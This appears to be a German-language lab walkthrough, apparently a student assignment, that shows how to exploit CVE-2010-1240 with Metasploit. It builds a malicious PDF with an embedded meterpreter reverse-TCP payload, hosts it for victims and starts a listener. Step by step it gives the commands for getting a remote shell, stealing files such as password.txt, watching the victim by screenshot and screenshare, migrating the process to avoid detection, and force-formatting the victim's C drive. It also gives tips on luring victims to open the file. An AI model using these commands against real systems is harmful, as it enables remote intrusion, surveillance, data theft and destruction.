jasmoon99/embedded-pdfDieses Demonstrationsvideo zeigt, wie wir das Gerät des Opfers steuern können, indem wir die harmlos aussehende PDF-Datei an das Ziel senden, die tatsächlich einen eingebetteten Payload enthält. Der Exploit wurde als CVE-2010-1240 veröffentlicht.
bereitgestellt von
Dieses Demonstrationsvideo zeigt, wie wir das Gerät des Opfers steuern können, indem wir die harmlos aussehende PDF-Datei an das Ziel senden, die tatsächlich eine eingebettete Nutzlast enthält. Der Exploit wurde als CVE-2010-1240 veröffentlicht.
Sobald die PDF in Adobe Reader geöffnet wird, ermöglichen uns die Benutzer, die von uns getäuscht werden und den Sicherheits-Popups zustimmen, eine Meterpreter-Sitzung zu erhalten, die über eine Reverse-TCP-Verbindung mit ihren Geräten verbunden ist. Bis dahin sind alle ihre Daten und das, was sie gerade tun, unter unserer Überwachung.
Zuerst starten wir die MSFconsole, die eine Befehlszeilenschnittstelle für den Zugriff auf das Metasploit-Framework bietet.
msfconsole
Dann suchen wir nach einem Exploit, der auf unsere Zielplattform Windows und Adobe PDF Reader passt, wobei eine ganze Liste von Exploits angezeigt wird, die verwendet werden können, um in den Windows-Rechner des Opfers einzudringen und die Schwachstellen von Adobe PDF Reader auszunutzen.
search type:exploit platform:windows adobe pdf
Bei dieser Ausnutzung wählen und verwenden wir das Modul 'adobe_pdf_embedded_exe' mit dem folgenden Befehl, um das Eindringen in den Rechner des Opfers zu erreichen.
use exploit/windows/fileformat/adobe_pdf_embedded_exe
Wir können auch die Informationen des Exploits mit dem Befehl 'info' überprüfen, wie unten gezeigt:
info
Dann setzen wir die Nutzlast auf Reverse-TCP-Verbindung. Wir verwenden auch den Meterpreter, der eine interaktive Shell bereitstellt, die es uns erleichtert, alle Arten von Funktionen zu nutzen, indem wir Code einfügen und ausführen, um den Rechner des Opfers zu erkunden.
set payload windows/meterpreter/reverse_tcp
Dann setzen wir den lauschenden Host und Port. Für LHOST müssen wir die IP-Adresse der Angreifer-Maschine eingeben, in diesem Fall die IP-Adresse unserer Kali-Maschine (10.0.2.4).
*p.s.
# to check Kali machine’s IP address
ifconfig
set LHOST *10.0.2.4*
set LPORT 5665
Dann setzen wir die Eingabedatei für die Basis der PDF mit dem INFILENAME*-Flag. Als Nächstes setzen wir den Dateinamen auf etwas, das das Interesse des Opfers weckt, die bösartige PDF-Datei zu öffnen.
*p.s.
set INFILENAME '/home/kali/Documents/WIC3004Assignment.pdf'
set FILENAME 'Bawang_Ranger_WIC3004Report.pdf'
Wir können unsere Optionen erneut anzeigen, bevor wir den Befehl 'exploit' eingeben, um die Nutzlast zusammen mit der PDF zu generieren.
# Then we can show the info or options by
show info | show options
exploit
Sobald wir die PDF-Datei generiert haben, verschieben wir die Datei nach /var/www/html, dem Verzeichnis unserer Kali-Maschine, um den Webserver zu hosten, damit das Opfer die PDF-Datei später herunterladen kann.
Notiz:
sudo mv /home/kali/.msf4/local/Bawang_Ranger_WIC3004Report.pdf /var/www/html
Dann richten wir unseren Listener mit 'exploit/multi/handler' ein. Wieder setzen wir die Nutzlast, LHOST, LPORT in Übereinstimmung mit dem, was wir bei der Generierung der bösartigen PDF-Datei definiert haben. Dann führen wir die Nutzlast aus.
Notiz:
show info oder show options sind optionale Befehle, die Sie ausführen können. Sie dienen nur zur Überprüfung dessen, was Sie gerade eingestellt haben.use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.2.4
set LPORT 5665
[show info | show options]
run
In einem anderen Terminal überprüfen wir den Status des Apache-Servers, um sicherzustellen, dass er läuft, um unsere PDF-Datei in /var/www/html für das Opfer zum Herunterladen zu hosten.
service apache2 status
# If it is inactive, start the service
service apache2 start
Öffnen Sie auf dem Windows-Rechner einen beliebigen Browser (z. B. Chrome) und geben Sie die IP unserer Kali-Maschine (10.0.2.4) ein, um auf den Webserver der Kali-Maschine zuzugreifen.
*Notiz: Bitte beachten Sie Ihre eigene Kali-Maschinen-IP-Adresse
Dann simulieren Sie einen Benutzer und speichern Sie die beabsichtigte PDF-Datei.
Sobald die Datei vom Opfer in Adobe Reader 8.1.2 geöffnet wird und es den Sicherheits-Popups zustimmt, können wir auf unserer Kali-Maschine beobachten, dass eine neue Sitzung über eine Reverse-TCP-Verbindung hergestellt wurde.
Im realen Szenario würden wir eine Website mit der PDF mit eingebetteter Nutzlast einrichten, damit das Opfer die Datei herunterladen kann, oder sie per E-Mail anhängen.
Dann können wir remote auf den Rechner des Opfers zugreifen und weitere bösartige Aktionen durchführen, die wir in der Meterpreter-Sitzung durchführen möchten.
help
pwd
ls
Wenn es z. B. eine Datei namens password.txt gibt, können wir den Befehl download password.txt ausführen
download [folder name | filename with extension]
Natürlich können wir bösartige Skripte schreiben (Hintertür einpflanzen), um die Verbindung zum Windows-Rechner aufrechtzuerhalten, wenn wir wirklich böse sind! 💀
# Boot command prompt at background
execute -f cmd.exe -H -i
# Create file on Windows
echo "You have been hacked" > hack.txt
#open the txt file we have just created
hack.txt
# Take screenshot
screenshot
# Watch the remote user in real time
screenshare
Der Angreifer kann jedoch den Verdacht verringern, indem er den Meterpreter-Prozess mit dem Migrate-Modul in der Meterpreter-Sitzung auf einen anderen Prozess verschiebt.
meterpreter> run post/windows/manage/migrate
Hierbei wird automatisch ein neuer Prozess auf dem Rechner des Opfers erzeugt, in den der Meterpreter migriert. Das Opfer könnte dann die infizierte PDF-Datei löschen, ohne zu ahnen, dass der Prozess bereits an eine andere Stelle gewandert ist.
Der Angreifer kann weiterhin bösartige Skripte auf dem Zielrechner mit der Eingabeaufforderung (cmd) oder PowerShell erstellen, die das gesamte Betriebssystem so weit herunterfahren können, dass es nicht mehr richtig funktioniert.
meterpreter> shell
# Start the Windows PowerShell
powershell
#Powershell command to forcefully format the C drive clean.
New-Partition -DiskNumber 1 -UseMaximumSize -AssignDriveLetter C| Format-Volume -DriveLetter C -FileSystemLabel "New"-FileSystem NTFS -Full -Force -Confirm:$false
